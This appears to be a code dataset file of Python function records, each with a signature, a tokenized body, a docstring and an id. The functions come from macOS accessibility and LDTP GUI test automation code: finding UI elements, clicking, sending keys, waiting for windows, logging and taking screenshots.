{"signature": "def __getattr__(self, name):", "body": "if name.startswith('<STR_LIT>'):<EOL><INDENT>try:<EOL><INDENT>attr = self._getAttribute(name)<EOL>return attr<EOL><DEDENT>except AttributeError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>actions = []<EOL>try:<EOL><INDENT>actions = self._getActions()<EOL><DEDENT>except Exception:<EOL><INDENT>pass<EOL><DEDENT>if name.startswith('<STR_LIT>') and (name[<NUM_LIT:2>:] in actions):<EOL><INDENT>errStr = '<STR_LIT>''<STR_LIT>'<EOL>raise AttributeError(errStr)<EOL><DEDENT>if name in actions:<EOL><INDENT>def performSpecifiedAction():<EOL><INDENT>self._activate()<EOL>return self._performAction(name)<EOL><DEDENT>return performSpecifiedAction<EOL><DEDENT>else:<EOL><INDENT>raise AttributeError('<STR_LIT>' % (self, name))<EOL><DEDENT>", "docstring": "Handle attribute requests in several ways:\n\n        1. If it starts with AX, it is probably an a11y attribute. Pass\n           it to the handler in _a11y which will determine that for sure.\n        2. See if the attribute is an action which can be invoked on the\n           UIElement. If so, return a function that will invoke the attribute.", "id": "f10331:c0:m45"}
{"signature": "def __setattr__(self, name, value):", "body": "if name.startswith('<STR_LIT>'):<EOL><INDENT>return self._setAttribute(name, value)<EOL><DEDENT>else:<EOL><INDENT>_a11y.AXUIElement.__setattr__(self, name, value)<EOL><DEDENT>", "docstring": "Set attributes on the object.", "id": "f10331:c0:m46"}
{"signature": "def __repr__(self):", "body": "title = repr('<STR_LIT>')<EOL>role = '<STR_LIT>'<EOL>c = repr(self.__class__).partition('<STR_LIT>')[-<NUM_LIT:1>].rpartition('<STR_LIT>')[<NUM_LIT:0>]<EOL>try:<EOL><INDENT>title = repr(self.AXTitle)<EOL><DEDENT>except Exception:<EOL><INDENT>try:<EOL><INDENT>title = repr(self.AXValue)<EOL><DEDENT>except Exception:<EOL><INDENT>try:<EOL><INDENT>title = repr(self.AXRoleDescription)<EOL><DEDENT>except Exception:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>try:<EOL><INDENT>role = self.AXRole<EOL><DEDENT>except Exception:<EOL><INDENT>pass<EOL><DEDENT>if len(title) > <NUM_LIT:20>:<EOL><INDENT>title = title[:<NUM_LIT:20>] + '<STR_LIT>'<EOL><DEDENT>return '<STR_LIT>' % (c, role, title)<EOL>", "docstring": "Build a descriptive string for UIElements.", "id": "f10331:c0:m47"}
{"signature": "def getAttributes(self):", "body": "return self._getAttributes()<EOL>", "docstring": "Get a list of the attributes available on the element.", "id": "f10331:c1:m0"}
{"signature": "def getActions(self):", "body": "return self._getActions()<EOL>", "docstring": "Return a list of the actions available on the element.", "id": "f10331:c1:m1"}
{"signature": "def setString(self, attribute, string):", "body": "return self._setString(attribute, string)<EOL>", "docstring": "Set the specified attribute to the specified string.", "id": "f10331:c1:m2"}
{"signature": "def findFirst(self, **kwargs):", "body": "return self._findFirst(**kwargs)<EOL>", "docstring": "Return the first object that matches the criteria.", "id": "f10331:c1:m3"}
{"signature": "def findFirstR(self, **kwargs):", "body": "return self._findFirstR(**kwargs)<EOL>", "docstring": "Search recursively for the first object that matches the\n        criteria.", "id": "f10331:c1:m4"}
{"signature": "def findAll(self, **kwargs):", "body": "return self._findAll(**kwargs)<EOL>", "docstring": "Return a list of all children that match the specified criteria.", "id": "f10331:c1:m5"}
{"signature": "def findAllR(self, **kwargs):", "body": "return self._findAllR(**kwargs)<EOL>", "docstring": "Return a list of all children (recursively) that match\n        the specified criteria.", "id": "f10331:c1:m6"}
{"signature": "def getElementAtPosition(self, coord):", "body": "return self._getElementAtPosition(float(coord[<NUM_LIT:0>]), float(coord[<NUM_LIT:1>]))<EOL>", "docstring": "Return the AXUIElement at the given coordinates.\n\n        If self is behind other windows, this function will return self.", "id": "f10331:c1:m7"}
{"signature": "def activate(self):", "body": "return self._activate()<EOL>", "docstring": "Activate the application (bringing menus and windows forward)", "id": "f10331:c1:m8"}
{"signature": "def getApplication(self):", "body": "return self._getApplication()<EOL>", "docstring": "Get the base application UIElement.\n\n        If the UIElement is a child of the application, it will try\n        to get the AXParent until it reaches the top application level\n        element.", "id": "f10331:c1:m9"}
{"signature": "def menuItem(self, *args):", "body": "menuitem = self._getApplication().AXMenuBar<EOL>return self._menuItem(menuitem, *args)<EOL>", "docstring": "Return the specified menu item.\n\n        Example - refer to items by name:\n\n        app.menuItem('File', 'New').Press()\n        app.menuItem('Edit', 'Insert', 'Line Break').Press()\n\n        Refer to items by index:\n\n        app.menuitem(1, 0).Press()\n\n        Refer to items by mix-n-match:\n\n        app.menuitem(1, 'About TextEdit').Press()", "id": "f10331:c1:m10"}
{"signature": "def popUpItem(self, *args):", "body": "self.Press()<EOL>time.sleep(<NUM_LIT>)<EOL>return self._menuItem(self, *args)<EOL>", "docstring": "Return the specified item in a pop up menu.", "id": "f10331:c1:m11"}
{"signature": "def getBundleId(self):", "body": "return self._getBundleId()<EOL>", "docstring": "Return the bundle ID of the application.", "id": "f10331:c1:m12"}
{"signature": "def getLocalizedName(self):", "body": "return self._getLocalizedName()<EOL>", "docstring": "Return the localized name of the application.", "id": "f10331:c1:m13"}
{"signature": "def sendKey(self, keychr):", "body": "return self._sendKey(keychr)<EOL>", "docstring": "Send one character with no modifiers.", "id": "f10331:c1:m14"}
{"signature": "def sendGlobalKey(self, keychr):", "body": "return self._sendKey(keychr, globally=True)<EOL>", "docstring": "Send one character without modifiers to the system.\n\n        It will not send an event directly to the application, system will\n        dispatch it to the window which has keyboard focus.\n\n        Parameters: keychr - Single keyboard character which will be sent.", "id": "f10331:c1:m15"}
{"signature": "def sendKeys(self, keystr):", "body": "return self._sendKeys(keystr)<EOL>", "docstring": "Send a series of characters with no modifiers.", "id": "f10331:c1:m16"}
{"signature": "def pressModifiers(self, modifiers):", "body": "return self._holdModifierKeys(modifiers)<EOL>", "docstring": "Hold modifier keys (e.g. [Option]).", "id": "f10331:c1:m17"}
{"signature": "def releaseModifiers(self, modifiers):", "body": "return self._releaseModifierKeys(modifiers)<EOL>", "docstring": "Release modifier keys (e.g. [Option]).", "id": "f10331:c1:m18"}
{"signature": "def sendKeyWithModifiers(self, keychr, modifiers):", "body": "return self._sendKeyWithModifiers(keychr, modifiers, False)<EOL>", "docstring": "Send one character with modifiers pressed\n\n        Parameters: key character, modifiers (list) (e.g. [SHIFT] or\n                    [COMMAND, SHIFT] (assuming you've first used\n                    from pyatom.AXKeyCodeConstants import *))", "id": "f10331:c1:m19"}
{"signature": "def sendGlobalKeyWithModifiers(self, keychr, modifiers):", "body": "return self._sendKeyWithModifiers(keychr, modifiers, True)<EOL>", "docstring": "Global send one character with modifiers pressed.\n\n        See sendKeyWithModifiers", "id": "f10331:c1:m20"}
{"signature": "def dragMouseButtonLeft(self, coord, dest_coord, interval=<NUM_LIT:0.5>):", "body": "modFlags = <NUM_LIT:0><EOL>self._queueMouseButton(coord, Quartz.kCGMouseButtonLeft, modFlags,<EOL>dest_coord=dest_coord)<EOL>self._postQueuedEvents(interval=interval)<EOL>", "docstring": "Drag the left mouse button without modifiers pressed.\n\n        Parameters: coordinates to click on screen (tuple (x, y))\n                    dest coordinates to drag to (tuple (x, y))\n                    interval to send event of btn down, drag and up\n        Returns: None", "id": "f10331:c1:m21"}
{"signature": "def doubleClickDragMouseButtonLeft(self, coord, dest_coord, interval=<NUM_LIT:0.5>):", "body": "modFlags = <NUM_LIT:0><EOL>self._queueMouseButton(coord, Quartz.kCGMouseButtonLeft, modFlags,<EOL>dest_coord=dest_coord)<EOL>self._queueMouseButton(coord, Quartz.kCGMouseButtonLeft, modFlags,<EOL>dest_coord=dest_coord,<EOL>clickCount=<NUM_LIT:2>)<EOL>self._postQueuedEvents(interval=interval)<EOL>", "docstring": "Double-click and drag the left mouse button without modifiers\n        pressed.\n\n        Parameters: coordinates to double-click on screen (tuple (x, y))\n                    dest coordinates to drag to (tuple (x, y))\n                    interval to send event of btn down, drag and up\n        Returns: None", "id": "f10331:c1:m22"}
{"signature": "def clickMouseButtonLeft(self, coord, interval=None):", "body": "modFlags = <NUM_LIT:0><EOL>self._queueMouseButton(coord, Quartz.kCGMouseButtonLeft, modFlags)<EOL>if interval:<EOL><INDENT>self._postQueuedEvents(interval=interval)<EOL><DEDENT>else:<EOL><INDENT>self._postQueuedEvents()<EOL><DEDENT>", "docstring": "Click the left mouse button without modifiers pressed.\n\n        Parameters: coordinates to click on screen (tuple (x, y))\n        Returns: None", "id": "f10331:c1:m23"}
{"signature": "def clickMouseButtonRight(self, coord):", "body": "modFlags = <NUM_LIT:0><EOL>self._queueMouseButton(coord, Quartz.kCGMouseButtonRight, modFlags)<EOL>self._postQueuedEvents()<EOL>", "docstring": "Click the right mouse button without modifiers pressed.\n\n        Parameters: coordinates to click on scren (tuple (x, y))\n        Returns: None", "id": "f10331:c1:m24"}
{"signature": "def clickMouseButtonLeftWithMods(self, coord, modifiers, interval=None):", "body": "modFlags = self._pressModifiers(modifiers)<EOL>self._queueMouseButton(coord, Quartz.kCGMouseButtonLeft, modFlags)<EOL>self._releaseModifiers(modifiers)<EOL>if interval:<EOL><INDENT>self._postQueuedEvents(interval=interval)<EOL><DEDENT>else:<EOL><INDENT>self._postQueuedEvents()<EOL><DEDENT>", "docstring": "Click the left mouse button with modifiers pressed.\n\n        Parameters: coordinates to click; modifiers (list) (e.g. [SHIFT] or\n                    [COMMAND, SHIFT] (assuming you've first used\n                    from pyatom.AXKeyCodeConstants import *))\n        Returns: None", "id": "f10331:c1:m25"}
{"signature": "def clickMouseButtonRightWithMods(self, coord, modifiers):", "body": "modFlags = self._pressModifiers(modifiers)<EOL>self._queueMouseButton(coord, Quartz.kCGMouseButtonRight, modFlags)<EOL>self._releaseModifiers(modifiers)<EOL>self._postQueuedEvents()<EOL>", "docstring": "Click the right mouse button with modifiers pressed.\n\n        Parameters: coordinates to click; modifiers (list)\n        Returns: None", "id": "f10331:c1:m26"}
{"signature": "def leftMouseDragged(self, stopCoord, strCoord=(<NUM_LIT:0>, <NUM_LIT:0>), speed=<NUM_LIT:1>):", "body": "self._leftMouseDragged(stopCoord, strCoord, speed)<EOL>", "docstring": "Click the left mouse button and drag object.\n\n        Parameters: stopCoord, the position of dragging stopped\n                    strCoord, the position of dragging started\n                    (0,0) will get current position\n                    speed is mouse moving speed, 0 to unlimited\n        Returns: None", "id": "f10331:c1:m27"}
{"signature": "def doubleClickMouse(self, coord):", "body": "modFlags = <NUM_LIT:0><EOL>self._queueMouseButton(coord, Quartz.kCGMouseButtonLeft, modFlags)<EOL>self._queueMouseButton(coord, Quartz.kCGMouseButtonLeft, modFlags,<EOL>clickCount=<NUM_LIT:2>)<EOL>self._postQueuedEvents()<EOL>", "docstring": "Double-click primary mouse button.\n\n        Parameters: coordinates to click (assume primary is left button)\n        Returns: None", "id": "f10331:c1:m28"}
{"signature": "def doubleMouseButtonLeftWithMods(self, coord, modifiers):", "body": "modFlags = self._pressModifiers(modifiers)<EOL>self._queueMouseButton(coord, Quartz.kCGMouseButtonLeft, modFlags)<EOL>self._queueMouseButton(coord, Quartz.kCGMouseButtonLeft, modFlags,<EOL>clickCount=<NUM_LIT:2>)<EOL>self._releaseModifiers(modifiers)<EOL>self._postQueuedEvents()<EOL>", "docstring": "Click the left mouse button with modifiers pressed.\n\n        Parameters: coordinates to click; modifiers (list)\n        Returns: None", "id": "f10331:c1:m29"}
{"signature": "def tripleClickMouse(self, coord):", "body": "<EOL>modFlags = <NUM_LIT:0><EOL>for i in range(<NUM_LIT:2>):<EOL><INDENT>self._queueMouseButton(coord, Quartz.kCGMouseButtonLeft, modFlags)<EOL><DEDENT>self._queueMouseButton(coord, Quartz.kCGMouseButtonLeft, modFlags,<EOL>clickCount=<NUM_LIT:3>)<EOL>self._postQueuedEvents()<EOL>", "docstring": "Triple-click primary mouse button.\n\n        Parameters: coordinates to click (assume primary is left button)\n        Returns: None", "id": "f10331:c1:m30"}
{"signature": "def waitFor(self, timeout, notification, **kwargs):", "body": "return self._waitFor(timeout, notification, **kwargs)<EOL>", "docstring": "Generic wait for a UI event that matches the specified\n        criteria to occur.\n\n        For customization of the callback, use keyword args labeled\n        'callback', 'args', and 'kwargs' for the callback fn, callback args,\n        and callback kwargs, respectively.  Also note that on return,\n        the observer-returned UI element will be included in the first\n        argument if 'args' are given.  Note also that if the UI element is\n        destroyed, callback should not use it, otherwise the function will\n        hang.", "id": "f10331:c1:m31"}
{"signature": "def waitForCreation(self, timeout=<NUM_LIT:10>, notification='<STR_LIT>'):", "body": "callback = AXCallbacks.returnElemCallback<EOL>retelem = None<EOL>args = (retelem,)<EOL>return self.waitFor(timeout, notification, callback=callback,<EOL>args=args)<EOL>", "docstring": "Convenience method to wait for creation of some UI element.\n\n        Returns: The element created", "id": "f10331:c1:m32"}
{"signature": "def waitForWindowToAppear(self, winName, timeout=<NUM_LIT:10>):", "body": "return self.waitFor(timeout, '<STR_LIT>', AXTitle=winName)<EOL>", "docstring": "Convenience method to wait for a window with the given name to\n        appear.\n\n        Returns: Boolean", "id": "f10331:c1:m33"}
{"signature": "def waitForWindowToDisappear(self, winName, timeout=<NUM_LIT:10>):", "body": "callback = AXCallbacks.elemDisappearedCallback<EOL>retelem = None<EOL>args = (retelem, self)<EOL>win = self.findFirst(AXRole='<STR_LIT>', AXTitle=winName)<EOL>return self.waitFor(timeout, '<STR_LIT>',<EOL>callback=callback, args=args,<EOL>AXRole='<STR_LIT>', AXTitle=winName)<EOL>", "docstring": "Convenience method to wait for a window with the given name to\n        disappear.\n\n        Returns: Boolean", "id": "f10331:c1:m34"}
{"signature": "def waitForSheetToAppear(self, timeout=<NUM_LIT:10>):", "body": "return self.waitForCreation(timeout, '<STR_LIT>')<EOL>", "docstring": "Convenience method to wait for a sheet to appear.\n\n        Returns: the sheet that appeared (element) or None", "id": "f10331:c1:m35"}
{"signature": "def waitForValueToChange(self, timeout=<NUM_LIT:10>):", "body": "<EOL>callback = AXCallbacks.returnElemCallback<EOL>retelem = None<EOL>return self.waitFor(timeout, '<STR_LIT>', callback=callback,<EOL>args=(retelem,))<EOL>", "docstring": "Convenience method to wait for value attribute of given element to\n        change.\n\n        Some types of elements (e.g. menu items) have their titles change,\n        so this will not work for those.  This seems to work best if you set\n        the notification at the application level.\n\n        Returns: Element or None", "id": "f10331:c1:m36"}
{"signature": "def waitForFocusToChange(self, newFocusedElem, timeout=<NUM_LIT:10>):", "body": "return self.waitFor(timeout, '<STR_LIT>',<EOL>AXRole=newFocusedElem.AXRole,<EOL>AXPosition=newFocusedElem.AXPosition)<EOL>", "docstring": "Convenience method to wait for focused element to change (to new\n        element given).\n\n        Returns: Boolean", "id": "f10331:c1:m37"}
{"signature": "def waitForFocusedWindowToChange(self, nextWinName, timeout=<NUM_LIT:10>):", "body": "callback = AXCallbacks.returnElemCallback<EOL>retelem = None<EOL>return self.waitFor(timeout, '<STR_LIT>',<EOL>AXTitle=nextWinName)<EOL>", "docstring": "Convenience method to wait for focused window to change\n\n        Returns: Boolean", "id": "f10331:c1:m38"}
{"signature": "def _convenienceMatch(self, role, attr, match):", "body": "kwargs = {}<EOL>if match:<EOL><INDENT>kwargs[attr] = match<EOL><DEDENT>return self.findAll(AXRole=role, **kwargs)<EOL>", "docstring": "Method used by role based convenience functions to find a match", "id": "f10331:c1:m39"}
{"signature": "def _convenienceMatchR(self, role, attr, match):", "body": "kwargs = {}<EOL>if match:<EOL><INDENT>kwargs[attr] = match<EOL><DEDENT>return self.findAllR(AXRole=role, **kwargs)<EOL>", "docstring": "Method used by role based convenience functions to find a match", "id": "f10331:c1:m40"}
{"signature": "def textAreas(self, match=None):", "body": "return self._convenienceMatch('<STR_LIT>', '<STR_LIT>', match)<EOL>", "docstring": "Return a list of text areas with an optional match parameter.", "id": "f10331:c1:m41"}
{"signature": "def textAreasR(self, match=None):", "body": "return self._convenienceMatchR('<STR_LIT>', '<STR_LIT>', match)<EOL>", "docstring": "Return a list of text areas with an optional match parameter.", "id": "f10331:c1:m42"}
{"signature": "def textFields(self, match=None):", "body": "return self._convenienceMatch('<STR_LIT>', '<STR_LIT>', match)<EOL>", "docstring": "Return a list of textfields with an optional match parameter.", "id": "f10331:c1:m43"}
{"signature": "def textFieldsR(self, match=None):", "body": "return self._convenienceMatchR('<STR_LIT>', '<STR_LIT>',<EOL>match)<EOL>", "docstring": "Return a list of textfields with an optional match parameter.", "id": "f10331:c1:m44"}
{"signature": "def buttons(self, match=None):", "body": "return self._convenienceMatch('<STR_LIT>', '<STR_LIT>', match)<EOL>", "docstring": "Return a list of buttons with an optional match parameter.", "id": "f10331:c1:m45"}
{"signature": "def buttonsR(self, match=None):", "body": "return self._convenienceMatchR('<STR_LIT>', '<STR_LIT>', match)<EOL>", "docstring": "Return a list of buttons with an optional match parameter.", "id": "f10331:c1:m46"}
{"signature": "def windows(self, match=None):", "body": "return self._convenienceMatch('<STR_LIT>', '<STR_LIT>', match)<EOL>", "docstring": "Return a list of windows with an optional match parameter.", "id": "f10331:c1:m47"}
{"signature": "def windowsR(self, match=None):", "body": "return self._convenienceMatchR('<STR_LIT>', '<STR_LIT>', match)<EOL>", "docstring": "Return a list of windows with an optional match parameter.", "id": "f10331:c1:m48"}
{"signature": "def sheets(self, match=None):", "body": "return self._convenienceMatch('<STR_LIT>', '<STR_LIT>', match)<EOL>", "docstring": "Return a list of sheets with an optional match parameter.", "id": "f10331:c1:m49"}
{"signature": "def sheetsR(self, match=None):", "body": "return self._convenienceMatchR('<STR_LIT>', '<STR_LIT>', match)<EOL>", "docstring": "Return a list of sheets with an optional match parameter.", "id": "f10331:c1:m50"}
{"signature": "def staticTexts(self, match=None):", "body": "return self._convenienceMatch('<STR_LIT>', '<STR_LIT>', match)<EOL>", "docstring": "Return a list of statictexts with an optional match parameter.", "id": "f10331:c1:m51"}
{"signature": "def staticTextsR(self, match=None):", "body": "return self._convenienceMatchR('<STR_LIT>', '<STR_LIT>', match)<EOL>", "docstring": "Return a list of statictexts with an optional match parameter", "id": "f10331:c1:m52"}
{"signature": "def genericElements(self, match=None):", "body": "return self._convenienceMatch('<STR_LIT>', '<STR_LIT>', match)<EOL>", "docstring": "Return a list of genericelements with an optional match parameter.", "id": "f10331:c1:m53"}
{"signature": "def genericElementsR(self, match=None):", "body": "return self._convenienceMatchR('<STR_LIT>', '<STR_LIT>', match)<EOL>", "docstring": "Return a list of genericelements with an optional match parameter.", "id": "f10331:c1:m54"}
{"signature": "def groups(self, match=None):", "body": "return self._convenienceMatch('<STR_LIT>', '<STR_LIT>', match)<EOL>", "docstring": "Return a list of groups with an optional match parameter.", "id": "f10331:c1:m55"}
{"signature": "def groupsR(self, match=None):", "body": "return self._convenienceMatchR('<STR_LIT>', '<STR_LIT>', match)<EOL>", "docstring": "Return a list of groups with an optional match parameter.", "id": "f10331:c1:m56"}
{"signature": "def radioButtons(self, match=None):", "body": "return self._convenienceMatch('<STR_LIT>', '<STR_LIT>', match)<EOL>", "docstring": "Return a list of radio buttons with an optional match parameter.", "id": "f10331:c1:m57"}
{"signature": "def radioButtonsR(self, match=None):", "body": "return self._convenienceMatchR('<STR_LIT>', '<STR_LIT>', match)<EOL>", "docstring": "Return a list of radio buttons with an optional match parameter.", "id": "f10331:c1:m58"}
{"signature": "def popUpButtons(self, match=None):", "body": "return self._convenienceMatch('<STR_LIT>', '<STR_LIT>', match)<EOL>", "docstring": "Return a list of popup menus with an optional match parameter.", "id": "f10331:c1:m59"}
{"signature": "def popUpButtonsR(self, match=None):", "body": "return self._convenienceMatchR('<STR_LIT>', '<STR_LIT>', match)<EOL>", "docstring": "Return a list of popup menus with an optional match parameter.", "id": "f10331:c1:m60"}
{"signature": "def rows(self, match=None):", "body": "return self._convenienceMatch('<STR_LIT>', '<STR_LIT>', match)<EOL>", "docstring": "Return a list of rows with an optional match parameter.", "id": "f10331:c1:m61"}
{"signature": "def rowsR(self, match=None):", "body": "return self._convenienceMatchR('<STR_LIT>', '<STR_LIT>', match)<EOL>", "docstring": "Return a list of rows with an optional match parameter.", "id": "f10331:c1:m62"}
{"signature": "def sliders(self, match=None):", "body": "return self._convenienceMatch('<STR_LIT>', '<STR_LIT>', match)<EOL>", "docstring": "Return a list of sliders with an optional match parameter.", "id": "f10331:c1:m63"}
{"signature": "def slidersR(self, match=None):", "body": "return self._convenienceMatchR('<STR_LIT>', '<STR_LIT>', match)<EOL>", "docstring": "Return a list of sliders with an optional match parameter.", "id": "f10331:c1:m64"}
{"signature": "def addloghandler(handler):", "body": "logger.addHandler(handler)<EOL>return <NUM_LIT:1><EOL>", "docstring": "Add custom log handler\n@param handler: Handler instance\n@type handler: object\n\n@return: 1 on success and 0 on error\n@rtype: integer", "id": "f10334:m2"}
{"signature": "def removeloghandler(handler):", "body": "logger.removeHandler(handler)<EOL>return <NUM_LIT:1><EOL>", "docstring": "Remove custom log handler\n@param handler: Handler instance\n@type handler: object\n\n@return: 1 on success and 0 on error\n@rtype: integer", "id": "f10334:m3"}
{"signature": "def log(message, level=logging.DEBUG):", "body": "if _ldtp_debug:<EOL><INDENT>print(message)<EOL><DEDENT>logger.log(level, str(message))<EOL>return <NUM_LIT:1><EOL>", "docstring": "Logs the message in the root logger with the log level\n@param message: Message to be logged\n@type message: string\n@param level: Log level, defaul DEBUG\n@type level: integer\n\n@return: 1 on success and 0 on error\n@rtype: integer", "id": "f10334:m4"}
{"signature": "def startlog(filename, overwrite=True):", "body": "if not filename:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>if overwrite:<EOL><INDENT>_mode = '<STR_LIT:w>'<EOL><DEDENT>else:<EOL><INDENT>_mode = '<STR_LIT:a>'<EOL><DEDENT>global _file_logger<EOL>_file_logger = logging.FileHandler(os.path.expanduser(filename), _mode)<EOL>_formatter = logging.Formatter('<STR_LIT>')<EOL>_file_logger.setFormatter(_formatter)<EOL>logger.addHandler(_file_logger)<EOL>if _ldtp_debug:<EOL><INDENT>_file_logger.setLevel(logging.DEBUG)<EOL><DEDENT>else:<EOL><INDENT>_file_logger.setLevel(logging.ERROR)<EOL><DEDENT>return <NUM_LIT:1><EOL>", "docstring": "@param filename: Start logging on the specified file\n@type filename: string\n@param overwrite: Overwrite or append\n    False - Append log to an existing file\n    True - Write log to a new file. If file already exist, \n    then erase existing file content and start log\n@type overwrite: boolean\n\n@return: 1 on success and 0 on error\n@rtype: integer", "id": "f10334:m5"}
{"signature": "def stoplog():", "body": "global _file_logger<EOL>if _file_logger:<EOL><INDENT>logger.removeHandler(_file_logger)<EOL>_file_logger = None<EOL><DEDENT>return <NUM_LIT:1><EOL>", "docstring": "Stop logging.\n\n    @return: 1 on success and 0 on error\n    @rtype: integer", "id": "f10334:m6"}
{"signature": "def imagecapture(window_name=None, out_file=None, x=<NUM_LIT:0>, y=<NUM_LIT:0>,<EOL>width=None, height=None):", "body": "if not out_file:<EOL><INDENT>out_file = tempfile.mktemp('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>out_file = os.path.expanduser(out_file)<EOL><DEDENT>if _ldtp_windows_env:<EOL><INDENT>if width == None:<EOL><INDENT>width = -<NUM_LIT:1><EOL><DEDENT>if height == None:<EOL><INDENT>height = -<NUM_LIT:1><EOL><DEDENT>if window_name == None:<EOL><INDENT>window_name = '<STR_LIT>'<EOL><DEDENT><DEDENT>data = _remote_imagecapture(window_name, x, y, width, height)<EOL>f = open(out_file, '<STR_LIT:wb>')<EOL>f.write(b64decode(data))<EOL>f.close()<EOL>return out_file<EOL>", "docstring": "Captures screenshot of the whole desktop or given window\n\n@param window_name: Window name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param x: x co-ordinate value\n@type x: integer\n@param y: y co-ordinate value\n@type y: integer\n@param width: width co-ordinate value\n@type width: integer\n@param height: height co-ordinate value\n@type height: integer\n\n@return: screenshot filename\n@rtype: string", "id": "f10334:m9"}
{"signature": "def onwindowcreate(window_name, fn_name, *args):", "body": "_pollEvents._callback[window_name] = [\"<STR_LIT>\", fn_name, args]<EOL>return _remote_onwindowcreate(window_name)<EOL>", "docstring": "On window create, call the function with given arguments\n\n@param window_name: Window name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param fn_name: Callback function\n@type fn_name: function\n@param *args: arguments to be passed to the callback function\n@type *args: var args\n\n@return: 1 if registration was successful, 0 if not.\n@rtype: integer", "id": "f10334:m33"}
{"signature": "def removecallback(window_name):", "body": "if window_name in _pollEvents._callback:<EOL><INDENT>del _pollEvents._callback[window_name]<EOL><DEDENT>return _remote_removecallback(window_name)<EOL>", "docstring": "Remove registered callback on window create\n\n@param window_name: Window name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n\n@return: 1 if registration was successful, 0 if not.\n@rtype: integer", "id": "f10334:m34"}
{"signature": "def registerevent(event_name, fn_name, *args):", "body": "if not isinstance(event_name, str):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>_pollEvents._callback[event_name] = [event_name, fn_name, args]<EOL>return _remote_registerevent(event_name)<EOL>", "docstring": "Register at-spi event\n\n@param event_name: Event name in at-spi format.\n@type event_name: string\n@param fn_name: Callback function\n@type fn_name: function\n@param *args: arguments to be passed to the callback function\n@type *args: var args\n\n@return: 1 if registration was successful, 0 if not.\n@rtype: integer", "id": "f10334:m35"}
{"signature": "def deregisterevent(event_name):", "body": "if event_name in _pollEvents._callback:<EOL><INDENT>del _pollEvents._callback[event_name]<EOL><DEDENT>return _remote_deregisterevent(event_name)<EOL>", "docstring": "Remove callback of registered event\n\n@param event_name: Event name in at-spi format.\n@type event_name: string\n\n@return: 1 if registration was successful, 0 if not.\n@rtype: integer", "id": "f10334:m36"}
{"signature": "def registerkbevent(keys, modifiers, fn_name, *args):", "body": "event_name = \"<STR_LIT>\" % (keys, modifiers)<EOL>_pollEvents._callback[event_name] = [event_name, fn_name, args]<EOL>return _remote_registerkbevent(keys, modifiers)<EOL>", "docstring": "Register keystroke events\n\n@param keys: key to listen\n@type keys: string\n@param modifiers: control / alt combination using gtk MODIFIERS\n@type modifiers: int\n@param fn_name: Callback function\n@type fn_name: function\n@param *args: arguments to be passed to the callback function\n@type *args: var args\n\n@return: 1 if registration was successful, 0 if not.\n@rtype: integer", "id": "f10334:m37"}
{"signature": "def deregisterkbevent(keys, modifiers):", "body": "event_name = \"<STR_LIT>\" % (keys, modifiers)<EOL>if event_name in _pollEvents._callback:<EOL><INDENT>del _pollEvents._callback[event_name]<EOL><DEDENT>return _remote_deregisterkbevent(keys, modifiers)<EOL>", "docstring": "Remove callback of registered event\n\n@param keys: key to listen\n@type keys: string\n@param modifiers: control / alt combination using gtk MODIFIERS\n@type modifiers: int\n\n@return: 1 if registration was successful, 0 if not.\n@rtype: integer", "id": "f10334:m38"}
{"signature": "def windowuptime(window_name):", "body": "tmp_time = _remote_windowuptime(window_name)<EOL>if tmp_time:<EOL><INDENT>tmp_time = tmp_time.split('<STR_LIT:->')<EOL>start_time = tmp_time[<NUM_LIT:0>].split('<STR_LIT:U+0020>')<EOL>end_time = tmp_time[<NUM_LIT:1>].split('<STR_LIT:U+0020>')<EOL>_start_time = datetime.datetime(int(start_time[<NUM_LIT:0>]), int(start_time[<NUM_LIT:1>]),<EOL>int(start_time[<NUM_LIT:2>]), int(start_time[<NUM_LIT:3>]),<EOL>int(start_time[<NUM_LIT:4>]), int(start_time[<NUM_LIT:5>]))<EOL>_end_time = datetime.datetime(int(end_time[<NUM_LIT:0>]), int(end_time[<NUM_LIT:1>]),<EOL>int(end_time[<NUM_LIT:2>]), int(end_time[<NUM_LIT:3>]),<EOL>int(end_time[<NUM_LIT:4>]), int(end_time[<NUM_LIT:5>]))<EOL>return _start_time, _end_time<EOL><DEDENT>return None<EOL>", "docstring": "Get window uptime\n\n@param window_name: Window name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n\n@return: \"starttime, endtime\" as datetime python object", "id": "f10334:m39"}
{"signature": "def __del__(self):", "body": "try:<EOL><INDENT>self.alive = False<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "Stop polling when destroying this class", "id": "f10334:c0:m1"}
{"signature": "def stop(self):", "body": "try:<EOL><INDENT>self.alive = False<EOL>self.join(self.sleep_time)<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "Stop the thread", "id": "f10334:c0:m2"}
{"signature": "def __del__(self):", "body": "try:<EOL><INDENT>self.alive = False<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "Stop callback when destroying this class", "id": "f10334:c1:m1"}
{"signature": "def stop(self):", "body": "try:<EOL><INDENT>self.alive = False<EOL>self.join(self.sleep_time)<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "Stop the thread", "id": "f10334:c1:m2"}
{"signature": "def elemDisappearedCallback(retelem, obj, **kwargs):", "body": "return not obj.findFirstR(**kwargs)<EOL>", "docstring": "Callback for checking if a UI element is no longer onscreen.\n\n    kwargs should contains some unique set of identifier (e.g. title/value, role)\n    Returns:  Boolean", "id": "f10336:m0"}
{"signature": "def returnElemCallback(retelem):", "body": "return retelem<EOL>", "docstring": "Callback for when a sheet appears.\n\n    Returns: element returned by observer callback", "id": "f10336:m1"}
{"signature": "def read(fname):", "body": "return open(os.path.join(os.path.dirname(__file__), fname)).read()<EOL>", "docstring": "Returns the contents of the specified file located in the same dir as\nthe script", "id": "f10338:m0"}
{"signature": "@classmethod<EOL><INDENT>def Async(cls, token, session=None, **options):<DEDENT>", "body": "return cls(token, session=session, is_async=True, **options)<EOL>", "docstring": "Returns the client in async mode.", "id": "f10347:c0:m2"}
